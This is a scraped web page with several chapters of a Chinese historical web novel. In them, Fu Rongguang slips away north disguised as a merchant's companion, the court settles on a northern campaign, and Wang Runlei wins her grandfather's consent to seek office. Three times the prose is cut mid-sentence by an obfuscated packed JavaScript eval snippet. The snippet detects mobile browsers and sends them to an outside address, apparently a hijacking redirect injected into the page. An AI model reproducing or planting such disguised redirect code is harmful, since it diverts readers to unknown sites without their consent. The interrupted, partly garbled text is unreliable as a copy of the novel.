傅容光看向那尔丹:“哦?” 那尔丹解释道:“北边的草原五部,是塔塔娜尔大汗统领的,女子地位比其余的草原十三部都要高,塔塔娜尔大汗又一心向大江学习,吃穿用度都效仿大江,因而大江的衣裙罗衫,在女子中即为流行。” “一件上好的衣裙,有时能卖出数头牛羊的价格呢!”那尔丹咂咂嘴,还回味着煨肉的美味。 傅容光若有所思,点点头。若塔塔娜尔一心效仿大江,她此次前去游说,只怕要更容易些。 只是…… 那尔丹早早便随父母离开草原来到大江,现居于大江已数年,缘何会如此清楚草原上的事? 傅容光看向那尔丹的眼神逐渐犀利,试探问道:“小丹对草原上的事情很清楚啊!” 103. 外攘内安(八)秘行北上 “不妨再多说些,我也好多些了解,兴许买卖就不会亏本呢!”傅容光撑着下巴,扫了眼桌上的沈韵与那尔丹,最后视线落在那尔丹身上。 那尔丹刚要开口,便被坐在对面的沈韵踢了一脚。 那尔丹抬头对上沈韵轻轻摇头示意,又瞥见傅容光探究的目光,方才意识到自己说错了话。 可……她到底哪句话说得不对了? 一时间,那尔丹有些支支吾吾,求助般地看向坐在对面的沈韵。 沈韵见傅容光似是怀疑那尔丹的身份,忙出言打岔道:“傅姑娘可别听她胡说。” 说着,沈韵笑着起身为傅容光夹了块肉。 待放下筷子,沈韵嗔怪地看了眼那尔丹:“这妮子,最喜欢胡言乱语拿人寻开心了。”紧接着看向傅容光,无奈摇头:“姑娘若是听了她的,只怕……要把本金都亏没了。” 那尔丹原是秦王妃身边的侍从,这件事除了宁乐公主知道以外,就只有当初与她同去秦王府的一些小姐妹们知道了。 宁乐公主特意交代过,那尔丹的身份,绝不能再让旁人知晓,因而才编出那尔丹是随父母做生意才来到的京都。 也算是对这孩子的保护。 傅容光眼珠在沈韵与那尔丹之间来回流转,揣摩这些话的可信度。 那尔丹顺着沈韵的话,尴尬地挠了挠头,转而将放花云糕的碟子推到傅容光面前,笑道:“傅姑娘,别光顾着说话了,快尝尝花云糕吧。” 傅容光笑笑,不再去追问那尔丹,若那尔丹真有问题,刘赞断然不会将她留在畅音坊的。 再者,她如今还有求于那尔丹。 傅容光翘起手指,小心捏起一块花云糕,送入口中,入口即化的香甜瞬时便在嘴里化开。 傅容光连连点头:“真不错。” 吃罢,傅容光从袖中掏出一封信,道:“沈姑娘,我不日便要启程离京,这里有封信,还要拜托你交给你们坊主。” 沈韵双手接过信,不禁愕然,傅姑娘离京竟这般匆忙。 “容光在此谢过。”傅容光起身朝沈韵一拜。 沈韵忙起身,扶住傅容光,道:“傅姑娘客气。” 沈韵将信收好,看了傅容光一眼,在手腕上的四五条珠串镯子中摸索一阵,从手腕上脱下一个刘宁赏赐的镯子来,塞在傅容光手上。 沈韵道:“傅姑娘,此次离京,路途遥远,只怕路上少不了要花钱,这个镯子你拿着,就全当是我与阿丹两个为你凑的盘缠。” 傅容光连忙推脱:“这怎么使得!” 沈韵笑道:“傅姑娘,你就别客气了,这也是我与阿丹两个的一点心意。若是叫我们坊主知道你两手空空离京而去,只怕她又要怪我呢!” 那尔丹也跳着过来,催促着傅容光收下:“傅姑娘,你若将我们当做朋友,就别这么客气了!” “好。”傅容光也不再推脱,爽快收下那沉甸甸的金镯。 那尔丹也掏出自己随身带着的一柄胡刃,塞在傅容光手里:“傅姑娘,这把刀送给你防身。” 傅容光端详起这柄胡刃,刀柄、刀鞘处嵌着数颗精致的宝石,待抽出刀来,刀身呈弧形,刀刃闪着锋利的光芒。 傅容光爽快道:“那我便不客气了。” 用过饭后,桌上餐食撤下,傅容光边帮忙收拾,边问道:“小丹,你再教我几句胡语吧。” 那尔丹拍手笑道:“好呀好呀!平日里都是我认傅姑娘做师傅,今日也换了天,傅姑娘该叫我一声师傅了。” 那尔丹也十来岁了,也该入学堂读书习字了。沈韵也有此意,可到底还是怕那尔丹入了学堂会暴露身份,因而便找些简单的字让那尔丹学习。 正好傅容光读书多,有学识,近来又常常待在京中,闲来无事,便时常教导那尔丹读书习字。 因而傅容光也担得起那尔丹这一声师傅。 傅容光笑着作揖道:“那便烦请小丹师傅指点一二。” 那尔丹捂嘴笑笑,选了几句简单的胡语,一句一句,一音一顿,用心教导起来,颇有平时傅容光的几分影子。 傅容光倒也聪慧,跟着学了四五遍,便学了个七七八八。对于即将前往的草原五部,心中底气也更足了些。 月上树梢,三人便各自告别歇下。 天刚蒙蒙亮时,听到外头门锁碰撞发出的细微响声,那尔丹蹑手蹑脚爬起来,顺着窗缝向外看。 只见傅容光背上收拾好的行囊,轻轻锁了门,径直朝她与沈韵居住的屋子走来。 那尔丹忙又蹑手蹑脚行至沈韵床旁,轻轻摇醒沈韵,耳语道:“阿韵姐,傅姑娘!”随即指了指门口。 沈韵睡得迷糊,揉了揉眼睛,懒懒打了个哈欠,隐约看到门口有个人影,猛然一惊,睡意全无,顿时瞪大眼睛看向那尔丹,满脸的疑惑。 “我再去看看怎么回事。”那尔丹食指竖在沈韵嘴边,随即悄悄下床,缓缓走向门口查看傅容光的举动。 傅容光停下脚步,将她常常翻看的些书籍放在门口,统统留给那尔丹,随即便踏上北上之路。 待门口影子渐渐拉长,傅容光走远之后,那尔丹方才拉开房门,看到傅容光留在门口的一摞书籍,脑袋顿时耷拉下来。 “傅姑娘留了什么?”还不等她想好将这摞书藏在哪里,沈韵便披了衣服走过来,待看清那一摞的书籍之后,沈韵噗嗤一声笑了出来:“傅姑娘真是担心的你的功课呢。” “愣愣地站在外面做什么?你也不怕冷!”一丝冷意透过敞开的房门,沈韵打了个喷嚏,嗔怪一声,又拢了拢衣服,双手合起,朝手心哈了一口热气:“快!把书搬进来。” 那尔丹无奈撇撇嘴照做。 沈韵正准备回去睡个回笼觉,突然脚下一顿,脸上变了颜色:“傅姑娘这么早便起来,可是北上去做生意?” 那尔丹随口应道:“许是吧。” 沈韵双手一拍,瞬时便担心起傅容光的安危来。 再怎么说,当初坊主安排她们与傅容光住在一起时,便说她们多多照顾好傅容光,如今又怎能任由傅容光一人独自北上呢?若是沿途遇到匪盗可该怎么好? 沈韵心里一合计,当即点灯着衣,招呼着那尔丹便要回坊找坊主。 所幸她们所居之地离畅音坊很近,不过几步路的功夫,便见到了坊主。 坊主听闻事关傅容光,也不多废 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274300|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,忙不迭便派出人手去将傅容光的行踪带给远在千里之外的逍遥王刘赞,又派出护卫暗中保护傅容光。 坊主派出的暗卫估摸着时间,这会儿傅容光应该还未出城,便一路向着城北,在街巷中寻找起傅容光的踪迹。 傅容光才刚在一个小摊上喝了口热汤,当即便察觉到身后似是有人跟着时,顿时警觉。 傅容光将包裹里的盘缠和些重要物件装在身上,借着小摊升起的缕缕热气,凭着摊位附近的人头攒动,弃了行囊,左蹿右绕,时而跟在三两个人后面佯装结伴,时而混在车马仆役之中藏匿身影,不多时,便顺利甩开身后的尾巴,出了城门。 虽不知跟在身后的是些什么人,但小心些,总归是不会错的。 傅容光担心再被人跟上,恐会坏了大长公主刘安的大计,便乔装打扮一番,换了副寻常农妇的行头。 借着北上寻亲的由头,傅容光搭上了个北上同行的商行车队。 商行领头的人姓杜,闺名丽锦,在家中排行第三,因而人称杜三娘。因见着傅容光可怜,又恰巧与傅容光顺路,便邀请傅容光与她们商行同行。 杜三娘家中经营着布匹生意,因近几年家里生意经营不善,又逢父亲病逝母亲体弱,原本作为外嫁女,她不便过问家中生意,可到底,这也是生她养她十几年的家,母亲弟弟妹妹都是与她血脉相连的亲人,她又如何能真正割舍得下呢? 更何况近来恰逢大长公主刘安代政,期间颁布的各项政策,一是女子可参与科考入朝为官的政策,二是开放边市与周边国家互通贸易的政策,无论怎么看,于她于他们家的生意,都是大有裨益,她又怎能不抓住这股东风乘风而起呢? 傅容光在与商行的人简单闲聊过后,便知道了这些。 真是无巧不成书。 傅容光刚还想着该从哪儿搞来大量的锦缎布匹以商人的身份进入草原五部,可巧,便遇上了杜三娘。 能跟着商行的车队同行,一来更省时省力,能更快到海州;二来有着车队这么多人同行,路上也安全;三则,省了日后的不少事。 守在城北门口的暗卫见着傅容光安全搭上了布匹商行的顺风车,便回去向温嘉诚禀报。 正赶着去上朝的温嘉诚轻轻撩起一角车帘听着。 “禀温相,傅姑娘已乘上一布匹商行的马车,商行人多眼杂,属下不便再跟下去。” “再者,傅姑娘似是早有所察觉有人跟着。” 温嘉诚了然轻轻挥了挥手指,旋即放下车帘。 车外的暗卫知趣退下隐匿。 温嘉诚缓缓闭上眼睛,闭目养神。 冥冥之中,她相信,傅容光北上之行,终会成功的,大长公主与逍遥王都认可的人,绝非是碌碌庸才之辈。 车子停在宫门口,温嘉诚扶正官帽,缓缓走下马车。 金銮殿外,众官员以左相温嘉诚、右相程显为首,秩序井然,入朝觐见。 大长公主刘安与康佑帝刘绥同坐龙椅,同受百官朝见。 “诸位爱卿,北征大军即日便会出发,不知诸位可还有何异议?” 长长的十二道旒冕之下,是少年帝王琢磨不透的神情。 104. 外攘内安(九)争锋立志 康佑帝刘绥的眼睛,依次扫过恭敬站在金銮殿上的诸多臣子。 左相温嘉诚,右相程显,乃至朝中大多数臣子,都无话可说。 毕竟,陛下一心决定的事,轻易改不了,谁敢提出异议呢? 北征胡蛮,已是板上钉钉。 太傅王落儒,眼睛左右瞟了眼身后的诸位臣子,暗暗叹了口气,而后又是提起口气,横跨一步,站出列。 刘绥见此情形,来了兴趣,身子微微前倾,手肘搭在一旁的扶手上,饶有兴致地看向王落儒。 王焕瞥见自己祖父顶着圣意,不由得为祖父捏一把汗。 陛下圣心裁定,满朝臣子谁再敢多言半个字? 即便祖父是太傅,三师之首,即便祖父是先帝临终前指定的顾命大臣,即便祖父历经三朝,那也…… “陛下——”王落儒高呼一声,颤颤巍巍道:“臣,还有话要说。” 刘绥抬手示意王落儒说下去。 王落儒盯着刘安锋利的目光,继续道:“陛下,臣还是那句话,如今边境安定不过数年,理应休养生息,安定民生,□□朝纲,万不可再起战事,万不可劳民伤财,万万不可啊!” 王落儒声音高洪,整个金銮殿,都响彻着他的余音。 刘绥眼皮垂下,许久未语。 诸臣子们低着头未敢直视上位,眼睛却都在滴溜溜左右乱瞟,琢磨着康佑帝刘绥的心思。 莫不是……莫不是被王太傅三言两语说动了? 温嘉诚抬眼瞟向刘安,见刘安轻轻摇头示意,便安心站着,静观其变。 刘昶与温国公皆是眉头紧皱。 行军打仗,最忌讳的便是犹豫不决、进退不举,攻也不是,退也不是,白白延误先机。 先前是陛下执意要北征胡蛮收复失地,其心之坚决,无人可撼动。如今兵部、户部都制定好对策,单等大军北征,怎的偏偏又在此时,偏偏又在大军即将出征前夕,改变了主意呢? “太傅所言差矣。”程显道:“如今海晏升平,正是扬我大江国威之时,此时不战,更待何时?” 一众大臣听闻程显发话,纷纷出言附和道:“程相所言极是。” “此次北征,正是扬我大江国威之时。” 附会之言不断。 温国公捏紧手中的笏板,本欲出言,但见自家女儿温嘉诚依旧站在最前头一动不动,便止住了满腹的言语,肩膀、手臂也松懈下来。 如今他家女儿温嘉诚位列左相,在朝中一举一动颇为艰难,若他不追随、拥护左相,那左相在朝中只怕要更难。 更何况,右相程显在朝中尚且还有一众门徒,那他依附与自己有血缘亲情的左相,也没什么大不了的。 “长姐以为如何?”待金銮殿上安静片刻,刘绥神色颇为犹豫,转而侧目问过一旁正襟危坐的刘安。 刘安话里听不出来情绪:“诸大臣所言极是。” 刘绥点点头,重新坐正,昂起头,道:“既如此,那便依大长公主与右相所言,北征!” 饶是刘安神色再怎么平静如常,听闻刘绥此言,也是难免侧目愕然,怎的,北征竟是她能决定的了? 怎的,不是皇帝一心北征吗? 怎的,如今倒是成了她与程显一心坚持? 王落儒攥得笏板愈发紧,他就知道!他就知道,陛下年幼,哪里能想得到北征? 定是受了蛊惑。 定是抚政大长公主的一意孤行! “陛下!”王落儒再次高呼,看了眼刘绥后,转而看向刘安,意味深长道:“还望……三思!” 刘绥颇显为难道:“长姐,这……” 刘安冷冷看了眼刘绥,刘绥这般的推脱,她怎会看不出来。 她竟被这位弟弟,摆了一道。 可若是北征败了,便可不声不响地将锅推在她与程显头上,毕竟,皇帝年幼尚不能抉择。 刘安不动声色哼笑一声,既然她身在抚政大长公主这个位置上,便自会担得起这份职责。 她也有能力,有本事担得起北征! “北征一事,无需再议!”刘安一锤定音。 “陛下!”王落儒恨铁不成钢地喊道。 “殿下圣明!陛下圣明!”程显带头高呼。 “殿下圣明!陛下圣明!”余下群臣高呼道。 刘绥眉头一挑,他对眼前的结果甚是满意。 毕竟,康佑朝期间,无论是谁代政,无论政绩是谁做出来的,日后史书中只会记载,都是康佑朝的政绩,都会落在他刘绥头上。 可也有些不满。 坐在他旁边的长姐,竟能应对自如。 他的这位长姐,竟能在朝中一呼百应,让他的臣子们高呼圣明…… 瞬时,刘绥眼里一片阴霾。 北征一事已是箭在弦上。 早朝过后,王落儒连连摇头,如今的朝政,真真是一片泥潭,搅不清,道不明。 早知今日大长公主会把持着朝政不肯松手,当日……当日无论如何,都不该请她来主持朝政! 王落儒脚步迟缓,直至无力继续走下去,抬头望天,一大片浮云遮了一半的日头,天地之间,一片灰蒙蒙的景象,此情此景,王落儒不由得再次叹息。 忽而瞥见孙子王焕正与左相温嘉诚相谈甚欢,不由得脸上神情更冷。 往常温嘉诚在朝中都是独来独往。 朝中官员,大多是通过正经科举考上来的,与温嘉诚入朝为官的方式不同,他们,自是不屑与温嘉诚为伍。余下有意与温嘉诚相近,企图攀附大长公主权势的、攀附皇家权势,但又多碍于面子,不好当着众人的面与温嘉诚攀谈。 再者,温嘉诚身为左相,事务繁忙,每每见到便是行色匆匆。 如今温嘉诚却能与王焕搭话攀谈,实属罕见。 王落儒拉长脸,行至温嘉诚与王焕身旁,想听听他们在聊些什么。 王焕见自家祖父走近,恭敬行礼。 王落儒对着温嘉诚道:“温相好。”虽王落儒不喜温嘉诚如今搅在朝中,但该有的礼仪规矩,让人挑不出错处。 温嘉诚察觉到王落儒来者不善,客气还礼道:“太傅大人客气,私下还有事,便先行一步。”说罢,一一拜别王落儒、王焕两位同僚。 王焕客气回礼。 王落儒冷哼一声:“方才她与你说了什么?” 王焕喜形于色,笑道:“方才温相说,要特招小妹入宫,在大长公主身边做女官,来日,待女科定下日期后,再让小妹入朝为官。” 自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274301|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温嘉诚入朝为官,官拜右相之后,小妹王润蕾便在家中懊悔不已,悔恨当初怎的不跟着温嘉诚一同参加第一次的女子科考。 原还能安慰小妹等着参加第二场女科,不想时至今日,第二场女科迟迟没了下文,小妹更是懊悔。 “哼!”王落儒听后,看都不看王焕一眼,头也不回甩袖离开。 “祖——太傅大人!”碍于还在宫廷之中,王焕急得直跺脚,不敢再多言,赶忙追上王落儒的脚步。 “今日温相所言,一句也别告诉润蕾,若你敢多说半个字——”王落儒冷冷看向王焕,狠狠瞪了一眼。 王焕欲言又止,无奈瘪瘪嘴,垂下眼睛,不敢再争辩。 如今朝堂党派林立,虽说王焕知道祖父一片苦心,不忍小妹再涉足朝堂,可到底,不还有他与祖父吗? 有他们两个在,有他们王家在,小妹在朝中,又能受些什么苦呢?左不过,还有他这个哥哥在。 再不行,来日去求大长公主,让小妹与他同在户部当差任职便是,户部如今正缺一位侍郎呢。 他如今入户部数余年,虽说在程显手下做事,受了不少刁难,到底也是将户部的工作理清,来日小妹入朝,他也能为小妹保驾护航。 再者,温相不也在朝堂之上做的好好的吗? 大江朝在大长公主的治理下,也不是好好的吗? 女子为官,女子当政,也不全是坏事。 小妹熟读经书,一腔抱负,如今有这样的机会,理应抓住才是啊。 王家回府的车马还没停稳,王润蕾便兴匆匆地来迎接两人。 见是王润蕾,王落儒宠溺笑道:“哟,你平时大门不出二门不迈,今儿你怎么舍得出门了?” 王润蕾面上有些得意,又有些扭捏,只一个劲儿地笑道:“刚刚听了个好消息,正迫不及待地想告诉祖父和哥哥呢。” 王润蕾此时心情愉悦,说起话来流畅不少。 王焕自然听得出妹妹的心情,跟在王落儒身后,一边朝府内走去,一边笑问道:“什么好事把你喜成这样?” “莫不是妹夫的事儿有着落了?”王焕打趣道。 “哥……哥哥!”王润蕾脸色瞬时冷冽下来,方才温嘉诚传来的好消息的愉悦也被冲散了不少。 “呀!”王焕自知失言,讪讪笑着,忙找补道:“我也有个好——”话还没说完,便被王落儒狠狠瞪了一眼。 王焕知趣闭上了嘴,只一个劲儿地尬笑着。 “若真是夫婿的事儿有了着落,也能对你父亲,对你母亲,对你祖母有个交代了。”王落儒爱怜地摸了摸王润蕾的脑袋,继续道:“你也别嫌你哥哥多嘴,也别嫌祖父总是唠叨,身为长辈,哪个不希望自己的子孙往后生活美满呢?” 王落儒坐定,接过侍从递来的茶水,小抿一口润过喉咙后,看向王润蕾,语重心长道:“近来又有几家递来了拜帖,祖父都细心挑过了,都是些个好人家,来日约着他们来府上相看一眼。” 王润蕾气呼呼地站在原地,眼里不知何时蓄满泪水,倔强道:“祖…祖父……润……润蕾……不……不嫁!” “我……我……我要……我要……做……做官!” “我要……为……为官!” “我要入朝为官!” 105. 外攘内安(十)山雨欲来 “胡闹!” 王落儒手中的茶盏“啪”地一声砸在桌上,茶水四处飞溅,溅落在桌上。 王落儒平时很少发脾气,即便是前几日在家中气得直骂大长公主干涉朝政,也鲜少像今日这样。 今日这一怒,着实是把面前站着的王焕和王润蕾吓了一跳。 王焕和王润蕾没想到,平日和蔼的祖父,盛怒时也这么吓人。 “你和你妹妹说了什么?”盛怒的王落儒看向一旁的王焕。 “如今我老了,我说的话不好使了,交代你的全忘了不成?”王落儒气道。 王焕也是一个头两个大,他也是才刚下朝回府,他也是才见到妹妹,他能和妹妹说什么? 简直冤枉啊! “不是我!”王焕争辩一声。 但,无济于事,王落儒依旧盛怒。王焕无奈,只能望向王润蕾,寄希望于她。 祖父平时最是疼爱蕾儿这个妹妹,若是妹妹能劝住祖父…… 还没等到王润蕾开口,便听到王落儒高喝一声:“取戒尺来!” 王落儒转身取下官帽,等着戒尺到手训诫王焕。 “祖……祖父……”王润蕾上前数步,拉住王落儒的衣袖,为王焕求情。 王落儒一甩衣袖,双手负于背后,并不理会王润蕾。 王焕自知这顿打免不了,毅然摘下官帽,卸下官服,撩起衣袍,乖乖垂头跪下,伸出掌心。 戒尺奉上。 王落儒一把夺过戒尺,怒气冲冲走向王焕。 “你知不知错?先前是怎么教导你的?” “啪”的一声,戒尺重重落下。 王润蕾目不转睛地盯着眼前的这一幕,手中的帕子紧紧捂着嘴,忍着不让自己发出哭腔。 方才她那坚决的志气,顿时便被这一记重重的戒尺打散。 是的,她又退缩了。 王焕则是紧咬着牙关,强忍着掌心的疼痛,一言不发。 王落儒此时也想明白了,他与焕儿也是刚下朝会的家,焕儿又不是神仙真人,能元神出窍将这消息传给润蕾,自己真是错怪了焕儿。 若是王焕此时认错,叫一声痛,他这手中的戒尺,也不愿再打下去。 到底是他含辛茹苦抚养长大的孩子,哪个会不心疼呢? 可…… “哥……哥哥……祖父……”王润蕾在一旁看得已是眼泪连连。 特招她为女官的消息原与哥哥无关,哥哥却平白遭此…… 兄长如今挨的戒尺,都是因为她,都是……因为她…… 她……真的……好懦弱…… 她……真的,竟这般懦弱吗? 今日温嘉诚同她说的话历历在耳,她打小性子就软弱,如今年岁大了,性子却是愈发的懦弱,丝毫未曾变过。 当日本与嘉诚、淑华商量好,要同期参加第一次女子科考,同时入朝为官为朝廷效力,为天下女子做出典范。淑华实属无奈,被家里远嫁海州,无缘科考,可她呢? 可她呢? 她,本就在京城,本就从小读书,经书史籍都读了个遍,甚至家里人并未限制她的出入,她却……却撇下当日与嘉诚、淑华二人的约定,龟缩在家中。 若她当日能同温嘉诚一般勇敢无畏,今时今日,她也能成为像温嘉诚一样的人。 若她当日能坚定地追随着大长公主的新政,成为大长公主在朝中的助力,今时今日,第二场女科兴许也不至于推行的如此艰难。 如今,又要连累哥哥…… 王焕抬头看了眼被泪水糊满眼睛的王润蕾,忍着掌心的痛楚,扯出一抹似哭的笑容:“不痛。” 看到王焕这个硬挺的样子,王落儒才消下去的脾气又滋长出来。 不由分说,又是一记戒尺落下,力道更重。 “嘶——”王焕痛得蜷起手指,直挺的脊背也蜷缩了一下。 “方才——”王落儒冷哼一声,顿了顿,继续道:“方才不还说不痛吗?怎的,如今也知道痛了?” “手伸出来!” 王焕不敢忤逆祖父,乖乖伸直手指,红肿的掌心裸露在戒尺之下。 眼看着戒尺又要再落下来,王润蕾也不知哪儿来的勇气,硬生生扑在王焕掌心,生生抗下这一记最重的戒尺。 如今,她也该勇敢一次了。 一口鲜血从嘴里溢出。 王落儒和王焕两人顿时慌了神,他们谁也没料到,平时看着怯懦的王润蕾,竟会不顾一切地扑过来,竟会生生扛下这记戒尺。 “蕾儿!” “祖父,哥哥。”王润蕾双膝跪在地上,扶着王焕的肩膀,缓缓直起脊背,脊背上的痛愈发清晰,心中倒是愈发坚定,说起话来也愈发流利。 “祖父,我要入朝为官,此事与哥哥无关。若是祖父觉得不妥,那便——”王润蕾转过身子,面向王落儒,眼中含泪,目光坚定,道:“便请祖父责罚我。”说罢,伸出掌心。 “你!”王落儒手中的戒尺兀地指向王润蕾。 王润蕾虽身形一晃,可并未退缩害怕。 “你!”王落儒一口老痰涌上来,眼睛发直,面色赤红,随即便直挺挺地仰面倒了下去。 “祖父!” 王焕和王润蕾两人先后惊呼一声,飞快起身,相继接住倒下的王落儒。 “传——请——”两人已经慌得连话都说不完整。 “快去宫里请御医!” 太傅府上的仆人拿着王焕的禀帖入宫,不多时,宫里便派了御医过来。 王落儒一时急火攻心,痰迷了心窍,经宫里来的御医诊断医治过后,已无大碍。 王焕和王润蕾才勉强松了口气。 只是,王落儒如今还昏迷着,此情此景,王润蕾心里不免又打起了鼓。 又是……因为她,才致使祖父如今昏迷不醒,她所做、所坚持的,到底……对不对呢? 她不知道。 “蕾儿——”王焕看了眼王润蕾,怔怔问道:“还疼吗?” 王润蕾有些木讷地摇摇头。 王焕又看了眼失魂落魄的王润蕾,无奈叹了口气,摇摇头。 王润蕾怔怔开口道:“哥哥,我……我该怎么选?”说罢,又不忍地看了眼昏迷不醒的王落儒,分外犹豫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274302|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王焕轻轻拍了拍王润蕾的肩膀,安慰道:“凡事,跟着你的心走便是。” 王焕见王润蕾依旧无法释怀,继续安慰道:“特招你入宫为女官一事,今日早朝过后,温相同我说过。我听后,也确实为你欣喜。” “哥哥也觉得……”王润蕾眼睛亮了亮。 哥哥也觉得她为官可行? 王焕点点头,对王润蕾给予肯定:“这有什么不行的?蕾儿的才能学识,并不比温相差,她能做的事情,蕾儿也能。” “可祖父……”王润蕾还是有些犹豫不决。 “祖父……”王焕顿了顿,道:“祖父也是担心你,这才阻止你入朝。” 王焕踱了一步,叹了口气:“毕竟,如今的朝堂,说句乱斗也不为过,大长公主代政,陛下不满权柄下移,朝臣多有站队,再加上左相温嘉诚、右相程显两者之间也争斗不止。” “若你借着大长公主的新政,乘着大长公主的东风,此时入朝为官,岂不是要搅入这片漩涡之中?” “待到陛下及冠之年,大长公主还政之时,你们这些女官,又该如何自处?” “祖父他老人家……自然是希望你后半生能平安顺遂。” “不过若你执意入朝为官,哥哥与祖父,都能为你保驾护航,你也勿需太过担心。” 两人正说着,王落儒不知何时睁开了眼睛。 “祖父……”王润蕾怯怯喊了一声。 王焕也跟着上前。 王落儒眨眼应下,缓缓抬手,手指微动,招呼王润蕾离近些,眼珠又缓缓转向王焕,眼神示意他离开。 王焕多看了王润蕾一眼,而后轻轻拍了拍王润蕾的肩膀,将空间留给祖父和妹妹。 王落儒看向他这个疼爱的小孙女,爱怜地伸手摸向孙女的脑袋:“蕾儿,若你……咳咳——”话还没说完,便咳个不停。 “祖父,我——”王润蕾心疼不已,忙递上手帕,还未开口,便听到王落儒说道: “若你真想入朝为官,那便……那便去吧。” 王落儒释然了。 焕儿说得不错,无论日后朝局如何变换,他身为当朝太傅,到底还是能保得下润蕾的。 再者,润蕾能在大长公主身边做女官,也算是能安插个眼线。 王润蕾脑袋伏在王落儒手上,语气哽咽:“润蕾多谢……祖父成全。” 虽说是王焕离开了屋子,可也关心妹妹王润蕾到底是怎么想的,不免停在窗边多听了一会。 王焕窗外驻足还没一会儿,便听到外院一阵吵嚷声,面上不免添上几分不悦,径直朝外院走去。 “吵什么呢?”王焕冷着脸问道。 管家见王焕出来,忙弓着腰,一溜小跑过来:“大公子,这是今儿早府里采买收到了,我们都觉得有点问题,不免争论了几句。”说着,摊开手里刚收到的铜钱给王焕看。 王焕狐疑地看了管家一眼,接过管家手里的铜钱,凑到眼前仔细端详着。 这枚铜钱手感粗糙,上印着字样模糊,不似市面上流行的铜钱,看着…… 倒像是私铸币。 私铸币! 106. 外攘内安(十一)祸起萧墙 私铸币? 想到此处,王焕心里不由得咯噔一下,忙问管家:“这枚铜钱是从哪儿来的?” 京中,怎么会有私铸币呢? “这……这……”管家一时也有些犯难,今儿早见过不少摊贩,过手了不少银钱,哪里能说得清是从谁手里收的呢? 管家挠挠头,说不清。 王焕不动声色收下那枚私铸币,理了理衣袖,摆出一副无事的样子,和颜悦色道:“算不得什么大事,都散了吧。” “再一个——”王焕忽而又想到一点,眼见着诸人各自散去,忙叫住众人,厉声训斥道:“好歹我们家也是礼仪之家,如今吵闹成这个样子,岂不是没了规矩?” 诸人垂头噤声,不敢多言。 王焕冷哼一声:“我可不似祖父那般好说话。往后,若再有这样的事儿,可不会轻纵了你们。” 王焕凌厉的眼神在诸人身上一一扫过,而后一摆手:“散了吧。” 王家聚集在此处的侍从皆散去。 四下无人之处,王焕方才重新拿出那枚私铸币,仔细端详着。 虽说这枚私铸币的份量不及发行的铜钱,其上花纹、字样也模糊难辨,但看得出,不是民间的小作坊产的。 看着……铸造此币有一定的规模…… 是世家大族?还是王室宗亲?抑或是公侯伯爵? 私自铸币,这可是要杀头灭族的,究竟是谁敢以身犯险? 偏巧,这枚私铸币又出现在他们家,偏巧,又被他发现。 是无意?还是政敌陷害? 如今祖父才病倒,便有这样的事儿,真当他们王家是纸糊的随意任人拿捏揉搓不成? 想到这儿,王焕手上的力道更甚。 “大公子,姑婿大人来了,正在前厅侯着呢。” 听闻姑父崔至来了,王焕拉回思绪,收好那枚私铸币,忙朝着前厅赶去。 前厅的崔至正坐立难安,焦急地来回踱步,明明早朝时岳丈大人的身子看着还算硬朗,怎么说病倒就病倒了? 虽说崔至的妻子早逝,崔至如今也娶了续弦,与王家的来往渐少,可到底还是有情谊在的。 再者,岳丈大人官至太傅,三师之首,更是先帝临终托孤的顾命大臣,单凭这一点,两家的关系便断不了。 崔至一回头,便看到王焕到来,忙不迭上前询问:“侄儿,岳丈大人……如今如何了?” “怎么冷不丁就病倒了呢?”崔至自顾自说道。 王焕不免有些汗颜,讪讪笑了两声,解释道:“祖父……祖父他老人家……呃……许是……年纪……” 崔至一听王焕说话吞吞吐吐说不清楚,一甩袖子,急得连连拍手,道:“哎呦,你怎么说话这么墨迹?到底怎么样了?可有请宫里的御医看过?” 崔至急得原地又转了几圈:“拿你的拜帖,不行拿我的也是一样的,赶紧去宫里请御医啊!这可千万不能拖啊!晚了可就……” 崔至不敢继续再说下去,生怕一语成谶给应验了。 王焕宽慰道:“御医已经来过了,说是急火攻心,痰迷了心窍。” 崔至再问道:“如今醒了没?” 王焕点点头。 崔至纳闷道:“为何会急火攻心呢?” 崔至环顾四周,王焕会意,屏退周围侍从,崔至这才凑近王焕,低声问道:“可是为了早朝上北征一事?” 王焕一时语塞,不知该如何作答,末了,只是摇头道:“倒……倒也不全是。” 崔至见王焕说话吞吞吐吐,不由得“啧”了一声,心中更是一阵纳罕,难不成是王家的风水有问题? 怎么这一双儿女都说话不太利落? “姑父,你就先别问了,如今还有一事要向你请教呢。”说着,王焕将崔至拉到一旁,从袖中掏出方才收到的那枚私铸币。 